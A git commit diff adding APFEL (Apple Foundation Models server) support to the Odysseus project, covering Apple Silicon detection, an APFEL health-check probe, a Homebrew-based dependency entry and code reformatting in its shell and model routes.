feat(platform): Add support for APFEL as part of the dependencies and models for the Cookbook. (#2657)

* feat(platform): add support for Apple Silicon detection in platform compatibility

test(tests): enhance shell_routes tests for Apple Silicon compatibility

* fix issues with missing import

* fix: correct package name in package-lock.json and enhance package installation commands in shell_routes.py and cookbook.js

* feat: add Apfel startup and health checks on macOS

- bootstrap Apfel via Homebrew on arm64 macOS
- start `apfel --serve --port 11435` detached for Odysseus
- verify readiness via `/health`
- clean up the Apfel process on exit or Ctrl+C

* fix: duplicate variable declaration post-merge conflict
- Should fix `node` CI issues.

* fix: issues with the update status of the APFEL dependency.
- fixed by changing the main conditional that determines the update.

* Fix: Remove unnecessary whitespaces and formatting for the model_routes.py file.

* Fix: whitespace issues with the model_routes file

* Fix: Remove unnecessary whitespaces and formatting for the model_routes.py file. Final

* Fix: Fixed updates using PIP for APFEL instead of custom cmd
This commit is contained in:
Sebastian Andres El Khoury Seoane
2026-06-07 16:28:02 +01:00
committed by GitHub
parent 8f2c8d2dc8
commit 8d9d4ec9c6
8 changed files with 684 additions and 275 deletions
+14 -3
View File
@@ -18,10 +18,22 @@ import ntpath
import shutil import shutil
import subprocess import subprocess
from pathlib import Path from pathlib import Path
import sys
from typing import List, Optional from typing import List, Optional
import platform
IS_WINDOWS = os.name == "nt" IS_WINDOWS = os.name == "nt"
IS_POSIX = not IS_WINDOWS IS_POSIX = not IS_WINDOWS
# Allows APFEL support and ARM-native binary recommendations on Apple Silicon Macs.
IS_APPLE_SILICON = (
IS_POSIX
and platform.system() == "Darwin"
and platform.machine().lower()
in {
"arm64",
"aarch64",
}
)
# ── File permissions ──────────────────────────────────────────────────────── # ── File permissions ────────────────────────────────────────────────────────
@@ -53,9 +65,8 @@ def detached_popen_kwargs() -> dict:
and is detached from any console. and is detached from any console.
""" """
if IS_WINDOWS: if IS_WINDOWS:
flags = ( flags = getattr(subprocess, "CREATE_NEW_PROCESS_GROUP", 0x00000200) | getattr(
getattr(subprocess, "CREATE_NEW_PROCESS_GROUP", 0x00000200) subprocess, "DETACHED_PROCESS", 0x00000008
| getattr(subprocess, "DETACHED_PROCESS", 0x00000008)
) )
return {"creationflags": flags} return {"creationflags": flags}
return {"start_new_session": True} return {"start_new_session": True}
+1 -1
View File
@@ -1,5 +1,5 @@
{ {
"name": "odysseus-ui", "name": "odysseus",
"lockfileVersion": 3, "lockfileVersion": 3,
"requires": true, "requires": true,
"packages": { "packages": {
+21 -4
View File
@@ -700,7 +700,6 @@ def _probe_endpoint(base_url: str, api_key: str = None, timeout: int = 5) -> Lis
return list(fallback) return list(fallback)
return [] return []
def _ping_endpoint(base_url: str, api_key: str = None, timeout: float = 1.5) -> Dict[str, Any]: def _ping_endpoint(base_url: str, api_key: str = None, timeout: float = 1.5) -> Dict[str, Any]:
"""Reachability probe that does not require installed/listed models.""" """Reachability probe that does not require installed/listed models."""
from src.endpoint_resolver import resolve_url from src.endpoint_resolver import resolve_url
@@ -716,6 +715,10 @@ def _ping_endpoint(base_url: str, api_key: str = None, timeout: float = 1.5) ->
or "ollama" in (parsed_base.hostname or "").lower() or "ollama" in (parsed_base.hostname or "").lower()
) )
# APFEL-specific detection
host = (parsed_base.hostname or "").lower()
looks_like_apfel = "apfel" in host or parsed_base.port == 11435
def _result_from_response(r) -> Dict[str, Any]: def _result_from_response(r) -> Dict[str, Any]:
if 300 <= r.status_code < 400: if 300 <= r.status_code < 400:
loc = r.headers.get("location", "") loc = r.headers.get("location", "")
@@ -737,7 +740,23 @@ def _ping_endpoint(base_url: str, api_key: str = None, timeout: float = 1.5) ->
last_error: Optional[str] = None last_error: Optional[str] = None
try: try:
if looks_like_ollama: # APFEL does not behave like Ollama; use its health endpoint.
if looks_like_apfel:
root = base
for suffix in ("/v1", "/api"):
if root.endswith(suffix):
root = root[: -len(suffix)].rstrip("/")
break
try:
r = httpx.get(root + "/health", timeout=timeout, verify=llm_verify())
result = _result_from_response(r)
if result["reachable"]:
return result
last_error = result.get("error")
except Exception as e:
last_error = str(e)[:120]
elif looks_like_ollama:
root = base root = base
for suffix in ("/v1", "/api"): for suffix in ("/v1", "/api"):
if root.endswith(suffix): if root.endswith(suffix):
@@ -782,8 +801,6 @@ def _ping_endpoint(base_url: str, api_key: str = None, timeout: float = 1.5) ->
return {"reachable": False, "status_code": None, "error": last_error} return {"reachable": False, "status_code": None, "error": last_error}
def _model_endpoint_error_message(base_url: str, ping: Dict[str, Any] = None) -> str: def _model_endpoint_error_message(base_url: str, ping: Dict[str, Any] = None) -> str:
"""Return a provider-aware error message for failed endpoint probes.""" """Return a provider-aware error message for failed endpoint probes."""
ping = ping or {} ping = ping or {}
+262 -56
View File
@@ -13,6 +13,7 @@ import tempfile
from collections import namedtuple from collections import namedtuple
from pathlib import Path from pathlib import Path
from typing import Dict, Any from typing import Dict, Any
from core.platform_compat import IS_APPLE_SILICON, which_tool
# POSIX-only: `pty`/`fcntl` transitively import `termios`, which does NOT exist # POSIX-only: `pty`/`fcntl` transitively import `termios`, which does NOT exist
# on Windows, so importing them unconditionally crashed app startup there # on Windows, so importing them unconditionally crashed app startup there
@@ -93,6 +94,7 @@ def _venv_activate_prefix(venv: str | None) -> str:
act = venv if venv.endswith("/bin/activate") else venv.rstrip("/") + "/bin/activate" act = venv if venv.endswith("/bin/activate") else venv.rstrip("/") + "/bin/activate"
return f". {act} && " return f". {act} && "
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
PTY_SUPPORTED = pty is not None and fcntl is not None and hasattr(os, "setsid") PTY_SUPPORTED = pty is not None and fcntl is not None and hasattr(os, "setsid")
@@ -170,7 +172,10 @@ def _package_installed_from_probe(name: str, probe: dict) -> bool:
and (dists.get("torch") or modules.get("torch", {}).get("real_module")) and (dists.get("torch") or modules.get("torch", {}).get("real_module"))
) )
if name == "hf_transfer": if name == "hf_transfer":
return bool(dists.get("hf-transfer") or modules.get("hf_transfer", {}).get("real_module")) return bool(
dists.get("hf-transfer")
or modules.get("hf_transfer", {}).get("real_module")
)
return bool(dists.get(name) or modules.get(name, {}).get("real_module")) return bool(dists.get(name) or modules.get(name, {}).get("real_module"))
@@ -195,8 +200,14 @@ def _package_status_note(name: str, probe: dict) -> str:
if binaries.get("llama-server"): if binaries.get("llama-server"):
parts.append(f"native llama-server: {binaries['llama-server']}") parts.append(f"native llama-server: {binaries['llama-server']}")
if dists.get("llama-cpp-python"): if dists.get("llama-cpp-python"):
parts.append(f"python package: llama-cpp-python {dists['llama-cpp-python']}") parts.append(
return "; ".join(parts) if parts else "No native llama-server or llama-cpp-python server package found." f"python package: llama-cpp-python {dists['llama-cpp-python']}"
)
return (
"; ".join(parts)
if parts
else "No native llama-server or llama-cpp-python server package found."
)
if name == "diffusers": if name == "diffusers":
if _package_installed_from_probe(name, probe): if _package_installed_from_probe(name, probe):
return f"diffusers {dists.get('diffusers', 'available')} with torch {dists.get('torch', 'available')}" return f"diffusers {dists.get('diffusers', 'available')} with torch {dists.get('torch', 'available')}"
@@ -206,7 +217,9 @@ def _package_status_note(name: str, probe: dict) -> str:
return "" return ""
def _package_pip_update_status(pkg: dict, probe: dict | None = None) -> PackageUpdateStatus: def _package_pip_update_status(
pkg: dict, probe: dict | None = None
) -> PackageUpdateStatus:
"""Return whether the Dependencies UI should offer a generic pip update. """Return whether the Dependencies UI should offer a generic pip update.
"Installed" means Cookbook can use the dependency. It does not always mean "Installed" means Cookbook can use the dependency. It does not always mean
@@ -214,12 +227,28 @@ def _package_pip_update_status(pkg: dict, probe: dict | None = None) -> PackageU
native llama-server can come from a package manager/source build, and a CLI native llama-server can come from a package manager/source build, and a CLI
may be on PATH without matching Python package metadata. may be on PATH without matching Python package metadata.
""" """
if pkg.get("name") == "APFEL":
return PackageUpdateStatus(
False,
"", # Note is empty because IT DOES allow for updates outside of PIP.
)
if pkg.get("kind") == "system" or not pkg.get("pip"): if pkg.get("kind") == "system" or not pkg.get("pip"):
return PackageUpdateStatus(False, "Update this system dependency outside Odysseus.") return PackageUpdateStatus(
False, "Update this system dependency outside Odysseus."
)
name = pkg.get("name") name = pkg.get("name")
binaries = probe.get("binaries") if isinstance(probe, dict) and isinstance(probe.get("binaries"), dict) else {} binaries = (
dists = probe.get("dists") if isinstance(probe, dict) and isinstance(probe.get("dists"), dict) else {} probe.get("binaries")
if isinstance(probe, dict) and isinstance(probe.get("binaries"), dict)
else {}
)
dists = (
probe.get("dists")
if isinstance(probe, dict) and isinstance(probe.get("dists"), dict)
else {}
)
if name == "llama_cpp" and binaries.get("llama-server"): if name == "llama_cpp" and binaries.get("llama-server"):
return PackageUpdateStatus( return PackageUpdateStatus(
@@ -232,7 +261,9 @@ def _package_pip_update_status(pkg: dict, probe: dict | None = None) -> PackageU
"Using a vLLM CLI on PATH without Python package metadata; update it outside Odysseus.", "Using a vLLM CLI on PATH without Python package metadata; update it outside Odysseus.",
) )
return PackageUpdateStatus(True, "Update uses pip in the selected Python environment.") return PackageUpdateStatus(
True, "Update uses pip in the selected Python environment."
)
def _prepend_user_install_bins_to_path() -> None: def _prepend_user_install_bins_to_path() -> None:
@@ -251,7 +282,9 @@ def _prepend_user_install_bins_to_path() -> None:
candidates = [] candidates = []
candidates.append(os.path.expanduser("~/.local/bin")) candidates.append(os.path.expanduser("~/.local/bin"))
parts = os.environ.get("PATH", "").split(os.pathsep) if os.environ.get("PATH") else [] parts = (
os.environ.get("PATH", "").split(os.pathsep) if os.environ.get("PATH") else []
)
changed = False changed = False
for path in reversed([p for p in candidates if p]): for path in reversed([p for p in candidates if p]):
if path not in parts: if path not in parts:
@@ -358,9 +391,11 @@ PTY_UNSUPPORTED_ERROR = "pty_unsupported"
class ShellExecRequest(BaseModel): class ShellExecRequest(BaseModel):
command: str command: str
timeout: int | None = None # optional override; 0 = no timeout (run until client disconnects) timeout: int | None = (
use_pty: bool = False # use pseudo-TTY (for progress bars) None # optional override; 0 = no timeout (run until client disconnects)
use_tmux: bool = False # run in tmux session (survives browser disconnect) )
use_pty: bool = False # use pseudo-TTY (for progress bars)
use_tmux: bool = False # run in tmux session (survives browser disconnect)
async def _create_shell(command: str, **kwargs): async def _create_shell(command: str, **kwargs):
@@ -395,9 +430,7 @@ async def _exec_shell(command: str, timeout: int = EXEC_TIMEOUT) -> Dict[str, An
stderr=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE,
cwd=str(Path.home()), cwd=str(Path.home()),
) )
stdout_b, stderr_b = await asyncio.wait_for( stdout_b, stderr_b = await asyncio.wait_for(proc.communicate(), timeout=timeout)
proc.communicate(), timeout=timeout
)
stdout = stdout_b.decode(errors="replace")[:MAX_OUTPUT] stdout = stdout_b.decode(errors="replace")[:MAX_OUTPUT]
stderr = stderr_b.decode(errors="replace")[:MAX_OUTPUT] stderr = stderr_b.decode(errors="replace")[:MAX_OUTPUT]
return {"stdout": stdout, "stderr": stderr, "exit_code": proc.returncode} return {"stdout": stdout, "stderr": stderr, "exit_code": proc.returncode}
@@ -408,7 +441,11 @@ async def _exec_shell(command: str, timeout: int = EXEC_TIMEOUT) -> Dict[str, An
await proc.wait() await proc.wait()
except ProcessLookupError: except ProcessLookupError:
pass pass
return {"stdout": "", "stderr": f"Command timed out after {timeout}s", "exit_code": -1} return {
"stdout": "",
"stderr": f"Command timed out after {timeout}s",
"exit_code": -1,
}
except Exception as e: except Exception as e:
return {"stdout": "", "stderr": str(e), "exit_code": -1} return {"stdout": "", "stderr": str(e), "exit_code": -1}
@@ -490,7 +527,7 @@ async def _generate_pty(cmd: str, timeout: int, request: Request):
if idx == -1: if idx == -1:
break break
line = buf[:idx].decode(errors="replace") line = buf[:idx].decode(errors="replace")
buf = buf[idx + sep_len:] buf = buf[idx + sep_len :]
if line: if line:
yield f"data: {json.dumps({'stream': 'stdout', 'data': line})}\n\n" yield f"data: {json.dumps({'stream': 'stdout', 'data': line})}\n\n"
@@ -512,7 +549,7 @@ async def _generate_pty(cmd: str, timeout: int, request: Request):
if idx == -1: if idx == -1:
break break
line = buf[:idx].decode(errors="replace") line = buf[:idx].decode(errors="replace")
buf = buf[idx + sep_len:] buf = buf[idx + sep_len :]
if line: if line:
yield f"data: {json.dumps({'stream': 'stdout', 'data': line})}\n\n" yield f"data: {json.dumps({'stream': 'stdout', 'data': line})}\n\n"
if buf: if buf:
@@ -543,6 +580,7 @@ def _pty_read(fd: int) -> bytes | None:
"""Blocking read from PTY fd. Called via run_in_executor. """Blocking read from PTY fd. Called via run_in_executor.
Returns bytes on data, None on timeout (no data yet).""" Returns bytes on data, None on timeout (no data yet)."""
import select import select
r, _, _ = select.select([fd], [], [], 1.0) r, _, _ = select.select([fd], [], [], 1.0)
if r: if r:
try: try:
@@ -566,10 +604,10 @@ async def _generate_tmux(cmd: str, request: Request):
script_path = TMUX_LOG_DIR / f"{session_id}.sh" script_path = TMUX_LOG_DIR / f"{session_id}.sh"
script_path.write_text( script_path.write_text(
f"#!/bin/bash\n" f"#!/bin/bash\n"
f"ODYSSEUS_USER_SHELL=\"${{SHELL:-}}\"\n" f'ODYSSEUS_USER_SHELL="${{SHELL:-}}"\n'
f"if [ -n \"$ODYSSEUS_USER_SHELL\" ] && [ -x \"$ODYSSEUS_USER_SHELL\" ]; then\n" f'if [ -n "$ODYSSEUS_USER_SHELL" ] && [ -x "$ODYSSEUS_USER_SHELL" ]; then\n'
f" ODYSSEUS_USER_PATH=\"$(\"$ODYSSEUS_USER_SHELL\" -ic 'printf \"__ODYSSEUS_PATH__%s\\n\" \"$PATH\"' 2>/dev/null | sed -n 's/^__ODYSSEUS_PATH__//p' | tail -n 1 || true)\"\n" f' ODYSSEUS_USER_PATH="$("$ODYSSEUS_USER_SHELL" -ic \'printf "__ODYSSEUS_PATH__%s\\n" "$PATH"\' 2>/dev/null | sed -n \'s/^__ODYSSEUS_PATH__//p\' | tail -n 1 || true)"\n'
f" if [ -n \"$ODYSSEUS_USER_PATH\" ]; then export PATH=\"$ODYSSEUS_USER_PATH:$PATH\"; fi\n" f' if [ -n "$ODYSSEUS_USER_PATH" ]; then export PATH="$ODYSSEUS_USER_PATH:$PATH"; fi\n'
f"fi\n" f"fi\n"
f"{cmd} 2>&1 | tee '{log_path}'\n" f"{cmd} 2>&1 | tee '{log_path}'\n"
f"EC=${{PIPESTATUS[0]}}\n" f"EC=${{PIPESTATUS[0]}}\n"
@@ -579,7 +617,9 @@ async def _generate_tmux(cmd: str, request: Request):
encoding="utf-8", encoding="utf-8",
) )
script_path.chmod(0o755) script_path.chmod(0o755)
logger.info("tmux wrapper script created: session=%s path=%s", session_id, script_path) logger.info(
"tmux wrapper script created: session=%s path=%s", session_id, script_path
)
tmux_cmd = f"tmux new-session -d -s {session_id} {shlex.quote(str(script_path))}" tmux_cmd = f"tmux new-session -d -s {session_id} {shlex.quote(str(script_path))}"
@@ -611,7 +651,9 @@ async def _generate_tmux(cmd: str, request: Request):
# Read new lines from log # Read new lines from log
try: try:
if log_path.exists(): if log_path.exists():
lines = log_path.read_text(encoding="utf-8", errors="replace").splitlines() lines = log_path.read_text(
encoding="utf-8", errors="replace"
).splitlines()
new_lines = lines[lines_sent:] new_lines = lines[lines_sent:]
for line in new_lines: for line in new_lines:
if line.startswith(":::EXIT_CODE:::"): if line.startswith(":::EXIT_CODE:::"):
@@ -639,7 +681,9 @@ async def _generate_tmux(cmd: str, request: Request):
# Session ended — do one final read # Session ended — do one final read
await asyncio.sleep(0.5) await asyncio.sleep(0.5)
if log_path.exists(): if log_path.exists():
lines = log_path.read_text(encoding="utf-8", errors="replace").splitlines() lines = log_path.read_text(
encoding="utf-8", errors="replace"
).splitlines()
for line in lines[lines_sent:]: for line in lines[lines_sent:]:
if line.startswith(":::EXIT_CODE:::"): if line.startswith(":::EXIT_CODE:::"):
try: try:
@@ -720,7 +764,9 @@ async def _generate_win_detached(cmd: str, request: Request):
return return
try: try:
if log_path.exists(): if log_path.exists():
lines = log_path.read_text(encoding="utf-8", errors="replace").splitlines() lines = log_path.read_text(
encoding="utf-8", errors="replace"
).splitlines()
for line in lines[lines_sent:]: for line in lines[lines_sent:]:
yield f"data: {json.dumps({'stream': 'stdout', 'data': line})}\n\n" yield f"data: {json.dumps({'stream': 'stdout', 'data': line})}\n\n"
lines_sent = len(lines) lines_sent = len(lines)
@@ -732,11 +778,18 @@ async def _generate_win_detached(cmd: str, request: Request):
await asyncio.sleep(0.3) await asyncio.sleep(0.3)
try: try:
if log_path.exists(): if log_path.exists():
lines = log_path.read_text(encoding="utf-8", errors="replace").splitlines() lines = log_path.read_text(
encoding="utf-8", errors="replace"
).splitlines()
for line in lines[lines_sent:]: for line in lines[lines_sent:]:
yield f"data: {json.dumps({'stream': 'stdout', 'data': line})}\n\n" yield f"data: {json.dumps({'stream': 'stdout', 'data': line})}\n\n"
lines_sent = len(lines) lines_sent = len(lines)
exit_code = int((exit_path.read_text(encoding="utf-8", errors="replace").strip() or "0")) exit_code = int(
(
exit_path.read_text(encoding="utf-8", errors="replace").strip()
or "0"
)
)
except Exception: except Exception:
exit_code = 0 exit_code = 0
break break
@@ -762,7 +815,9 @@ def setup_shell_routes() -> APIRouter:
return {"stdout": "", "stderr": "No command provided", "exit_code": 1} return {"stdout": "", "stderr": "No command provided", "exit_code": 1}
logger.info("User shell exec requested: length=%d", len(cmd)) logger.info("User shell exec requested: length=%d", len(cmd))
result = await _exec_shell(cmd, timeout=req.timeout if req.timeout is not None else EXEC_TIMEOUT) result = await _exec_shell(
cmd, timeout=req.timeout if req.timeout is not None else EXEC_TIMEOUT
)
return result return result
@router.post("/api/shell/stream") @router.post("/api/shell/stream")
@@ -771,9 +826,11 @@ def setup_shell_routes() -> APIRouter:
_require_admin(request) _require_admin(request)
cmd = req.command.strip() cmd = req.command.strip()
if not cmd: if not cmd:
async def empty(): async def empty():
yield f"data: {json.dumps({'stream': 'stderr', 'data': 'No command provided'})}\n\n" yield f"data: {json.dumps({'stream': 'stderr', 'data': 'No command provided'})}\n\n"
yield f"data: {json.dumps({'exit_code': 1})}\n\n" yield f"data: {json.dumps({'exit_code': 1})}\n\n"
return StreamingResponse(empty(), media_type="text/event-stream") return StreamingResponse(empty(), media_type="text/event-stream")
timeout = req.timeout if req.timeout is not None else STREAM_TIMEOUT timeout = req.timeout if req.timeout is not None else STREAM_TIMEOUT
@@ -790,7 +847,11 @@ def setup_shell_routes() -> APIRouter:
if use_tmux: if use_tmux:
# tmux is POSIX-only; Windows uses a detached-process + logfile tail # tmux is POSIX-only; Windows uses a detached-process + logfile tail
# that preserves the "survives disconnect" behaviour. # that preserves the "survives disconnect" behaviour.
gen = _generate_win_detached(cmd, request) if IS_WINDOWS else _generate_tmux(cmd, request) gen = (
_generate_win_detached(cmd, request)
if IS_WINDOWS
else _generate_tmux(cmd, request)
)
return StreamingResponse(gen, media_type="text/event-stream") return StreamingResponse(gen, media_type="text/event-stream")
if use_pty and not IS_WINDOWS: if use_pty and not IS_WINDOWS:
@@ -822,7 +883,12 @@ def setup_shell_routes() -> APIRouter:
chunk = await stream.read(4096) chunk = await stream.read(4096)
if not chunk: if not chunk:
if buf: if buf:
await q.put((name, buf.decode(errors="replace").rstrip("\r\n"))) await q.put(
(
name,
buf.decode(errors="replace").rstrip("\r\n"),
)
)
break break
buf += chunk buf += chunk
while True: while True:
@@ -830,7 +896,7 @@ def setup_shell_routes() -> APIRouter:
if idx == -1: if idx == -1:
break break
line = buf[:idx].decode(errors="replace") line = buf[:idx].decode(errors="replace")
buf = buf[idx + sep_len:] buf = buf[idx + sep_len :]
if line: if line:
await q.put((name, line)) await q.put((name, line))
finally: finally:
@@ -889,7 +955,12 @@ def setup_shell_routes() -> APIRouter:
return StreamingResponse(generate(), media_type="text/event-stream") return StreamingResponse(generate(), media_type="text/event-stream")
@router.get("/api/cookbook/packages") @router.get("/api/cookbook/packages")
async def list_packages(request: Request, host: str | None = None, ssh_port: str | None = None, venv: str | None = None): async def list_packages(
request: Request,
host: str | None = None,
ssh_port: str | None = None,
venv: str | None = None,
):
"""Check which optional packages are installed. """Check which optional packages are installed.
Local-target packages are checked in-process. Remote-target packages Local-target packages are checked in-process. Remote-target packages
@@ -899,7 +970,13 @@ def setup_shell_routes() -> APIRouter:
""" """
_require_admin(request) _require_admin(request)
_reject_cross_site(request) _reject_cross_site(request)
import importlib, importlib.metadata as importlib_metadata, shlex, json as _json, site, sys import importlib
import importlib.metadata as importlib_metadata
import shlex
import json as _json
import site
import sys
_prepend_user_install_bins_to_path() _prepend_user_install_bins_to_path()
importlib.invalidate_caches() importlib.invalidate_caches()
try: try:
@@ -914,26 +991,115 @@ def setup_shell_routes() -> APIRouter:
raise HTTPException(400, "Invalid ssh_port") raise HTTPException(400, "Invalid ssh_port")
packages = [ packages = [
# ── System ── OS binaries, not pip packages # ── System ── OS binaries, not pip packages
{"name": "tmux", "pip": "", "desc": "Required for Linux/Termux Cookbook background downloads and serves", "category": "System", "target": "remote", "kind": "system", "install_hint": "Run Cookbook server setup, or install tmux with apt/pacman/dnf/apk/zypper."}, {
{"name": "docker", "pip": "", "desc": "Required only for Docker-backed launch commands", "category": "System", "target": "remote", "kind": "system", "install_hint": "Install Docker on the selected server and allow this user to run docker."}, "name": "tmux",
"pip": "",
"desc": "Required for Linux/Termux Cookbook background downloads and serves",
"category": "System",
"target": "remote",
"kind": "system",
"install_hint": "Run Cookbook server setup, or install tmux with apt/pacman/dnf/apk/zypper.",
},
{
"name": "docker",
"pip": "",
"desc": "Required only for Docker-backed launch commands",
"category": "System",
"target": "remote",
"kind": "system",
"install_hint": "Install Docker on the selected server and allow this user to run docker.",
},
# ── LLM ── installs on GPU servers for model serving/downloading # ── LLM ── installs on GPU servers for model serving/downloading
{"name": "hf_transfer", "pip": "hf_transfer", "desc": "Fast model downloads from HuggingFace", "category": "LLM", "target": "remote"}, {
{"name": "llama_cpp", "pip": "llama-cpp-python[server]", "desc": "Serve GGUF models via llama.cpp", "category": "LLM", "target": "remote"}, "name": "hf_transfer",
{"name": "sglang", "pip": "sglang[all]", "desc": "Serve HF safetensors models via SGLang", "category": "LLM", "target": "remote"}, "pip": "hf_transfer",
{"name": "vllm", "pip": "vllm", "desc": "High-throughput LLM serving engine", "category": "LLM", "target": "remote"}, "desc": "Fast model downloads from HuggingFace",
"category": "LLM",
"target": "remote",
},
{
"name": "llama_cpp",
"pip": "llama-cpp-python[server]",
"desc": "Serve GGUF models via llama.cpp",
"category": "LLM",
"target": "remote",
},
{
"name": "sglang",
"pip": "sglang[all]",
"desc": "Serve HF safetensors models via SGLang",
"category": "LLM",
"target": "remote",
},
{
"name": "vllm",
"pip": "vllm",
"desc": "High-throughput LLM serving engine",
"category": "LLM",
"target": "remote",
},
{
"name": "APFEL",
"pip": "",
"desc": "OpenAI-compatible API for Apple Foundational Models on Apple Silicon",
"category": "LLM",
"target": "local",
"kind": "system",
"install_cmd": "brew install apfel",
"update_cmd": "brew upgrade apfel",
"install_hint": "Requires a native Apple Silicon Mac with Apple Foundational Models support. Installable via Homebrew on supported Macs.",
},
# ── Image ── editor + diffusion model serving # ── Image ── editor + diffusion model serving
{"name": "diffusers", "pip": "diffusers[torch]", "desc": "Image generation pipelines (SD, Flux) with PyTorch", "category": "Image", "target": "remote"}, {
{"name": "rembg", "pip": "rembg[gpu]", "desc": "AI background removal for image editor", "category": "Image", "target": "local"}, "name": "diffusers",
{"name": "realesrgan", "pip": "realesrgan", "desc": "AI denoise + upscale (Real-ESRGAN). Used by editor's Denoise and Upscale tools.", "category": "Image", "target": "local"}, "pip": "diffusers[torch]",
"desc": "Image generation pipelines (SD, Flux) with PyTorch",
"category": "Image",
"target": "remote",
},
{
"name": "rembg",
"pip": "rembg[gpu]",
"desc": "AI background removal for image editor",
"category": "Image",
"target": "local",
},
{
"name": "realesrgan",
"pip": "realesrgan",
"desc": "AI denoise + upscale (Real-ESRGAN). Used by editor's Denoise and Upscale tools.",
"category": "Image",
"target": "local",
},
# ── Tools ── # ── Tools ──
{"name": "playwright", "pip": "playwright", "desc": "Browser automation for web tools", "category": "Tools", "target": "local"}, {
"name": "playwright",
"pip": "playwright",
"desc": "Browser automation for web tools",
"category": "Tools",
"target": "local",
},
] ]
# Most packages should not be installed through external means. Hence, set the default of the
# install_cmd and update_cmd to None, which indicates that the recommended way to install/update is through the Cookbook # server setup or pip. Only system packages, should have explicit install/update commands provided.
for pkg in packages:
pkg.setdefault("install_cmd", None)
pkg.setdefault("update_cmd", None)
# Remote check: for remote-target packages, probe the selected server's # Remote check: for remote-target packages, probe the selected server's
# venv over SSH so a remote `pip install` actually reflects here. # venv over SSH so a remote `pip install` actually reflects here.
remote_status: dict = {} remote_status: dict = {}
remote_details: dict = {} remote_details: dict = {}
remote_names = [p["name"] for p in packages if p.get("target") == "remote" and p.get("kind") != "system"] remote_names = [
remote_system_names = [p["name"] for p in packages if p.get("target") == "remote" and p.get("kind") == "system"] p["name"]
for p in packages
if p.get("target") == "remote" and p.get("kind") != "system"
]
remote_system_names = [
p["name"]
for p in packages
if p.get("target") == "remote" and p.get("kind") == "system"
]
if host and remote_names: if host and remote_names:
try: try:
py = _package_probe_script(remote_names) py = _package_probe_script(remote_names)
@@ -943,7 +1109,9 @@ def setup_shell_routes() -> APIRouter:
inner = f"{src}python3 -c {shlex.quote(py)}" inner = f"{src}python3 -c {shlex.quote(py)}"
argv = _ssh_base_argv(host, ssh_port) + [inner] argv = _ssh_base_argv(host, ssh_port) + [inner]
proc = await asyncio.create_subprocess_exec( proc = await asyncio.create_subprocess_exec(
*argv, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE *argv,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
) )
out, _err = await asyncio.wait_for(proc.communicate(), timeout=12) out, _err = await asyncio.wait_for(proc.communicate(), timeout=12)
txt = out.decode("utf-8", errors="replace").strip() txt = out.decode("utf-8", errors="replace").strip()
@@ -967,11 +1135,15 @@ def setup_shell_routes() -> APIRouter:
checks = [] checks = []
for name in remote_system_names: for name in remote_system_names:
qn = shlex.quote(name) qn = shlex.quote(name)
checks.append(f"if command -v {qn} >/dev/null 2>&1; then echo {qn}=1; else echo {qn}=0; fi") checks.append(
f"if command -v {qn} >/dev/null 2>&1; then echo {qn}=1; else echo {qn}=0; fi"
)
inner = " ; ".join(checks) inner = " ; ".join(checks)
argv = _ssh_base_argv(host, ssh_port) + [inner] argv = _ssh_base_argv(host, ssh_port) + [inner]
proc = await asyncio.create_subprocess_exec( proc = await asyncio.create_subprocess_exec(
*argv, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE *argv,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
) )
out, _err = await asyncio.wait_for(proc.communicate(), timeout=12) out, _err = await asyncio.wait_for(proc.communicate(), timeout=12)
txt = out.decode("utf-8", errors="replace").strip() txt = out.decode("utf-8", errors="replace").strip()
@@ -996,11 +1168,25 @@ def setup_shell_routes() -> APIRouter:
if note: if note:
pkg["status_note"] = note pkg["status_note"] = note
elif pkg.get("kind") == "system": elif pkg.get("kind") == "system":
pkg["installed"] = shutil.which(pkg["name"]) is not None if pkg["name"] == "APFEL":
pkg["applicable"] = IS_APPLE_SILICON
pkg["installed"] = which_tool("apfel") is not None
pkg["status_note"] = (
"Available on Apple Silicon (arm64) devices; exposed through a local OpenAI-compatible API."
if IS_APPLE_SILICON
else "Requires a native Apple Silicon Mac with Apple Foundational Models support."
)
else:
pkg["installed"] = shutil.which(pkg["name"]) is not None
elif pkg["name"] == "llama_cpp" and shutil.which("llama-server"): elif pkg["name"] == "llama_cpp" and shutil.which("llama-server"):
pkg["installed"] = True pkg["installed"] = True
pkg["status_note"] = f"native llama-server: {shutil.which('llama-server')}" pkg["status_note"] = (
probe = {"binaries": {"llama-server": shutil.which("llama-server")}, "dists": {}} f"native llama-server: {shutil.which('llama-server')}"
)
probe = {
"binaries": {"llama-server": shutil.which("llama-server")},
"dists": {},
}
elif pkg["name"] == "vllm": elif pkg["name"] == "vllm":
_vllm_cli = shutil.which("vllm") _vllm_cli = shutil.which("vllm")
pkg["installed"] = _vllm_cli is not None pkg["installed"] = _vllm_cli is not None
@@ -1046,15 +1232,30 @@ def setup_shell_routes() -> APIRouter:
"""Install a package via pip. Admin only — pip install is effectively code exec.""" """Install a package via pip. Admin only — pip install is effectively code exec."""
_require_admin(request) _require_admin(request)
import sys as _sys import sys as _sys
body = await request.json() body = await request.json()
pip_name = body.get("pip") pip_name = body.get("pip")
if not pip_name: if not pip_name:
return {"ok": False, "error": "No package specified"} return {"ok": False, "error": "No package specified"}
# Validate against known packages to prevent arbitrary pip install # Validate against known packages to prevent arbitrary pip install
known = { known = {
"rembg[gpu]", "hf_transfer", "llama-cpp-python[server]", "sglang[all]", "diffusers", "diffusers[torch]", "rembg[gpu]",
"TTS", "bark", "faster-whisper", "playwright", "realesrgan", "gfpgan", "hf_transfer",
"insightface", "onnxruntime-gpu", "onnxruntime", "hdbscan", "vllm", "llama-cpp-python[server]",
"sglang[all]",
"diffusers",
"diffusers[torch]",
"TTS",
"bark",
"faster-whisper",
"playwright",
"realesrgan",
"gfpgan",
"insightface",
"onnxruntime-gpu",
"onnxruntime",
"hdbscan",
"vllm",
} }
if pip_name not in known: if pip_name not in known:
return {"ok": False, "error": f"Unknown package: {pip_name}"} return {"ok": False, "error": f"Unknown package: {pip_name}"}
@@ -1080,6 +1281,7 @@ def setup_shell_routes() -> APIRouter:
""" """
_require_admin(request) _require_admin(request)
from routes.cookbook_helpers import _llama_cpp_rebuild_cmd from routes.cookbook_helpers import _llama_cpp_rebuild_cmd
body = await request.json() body = await request.json()
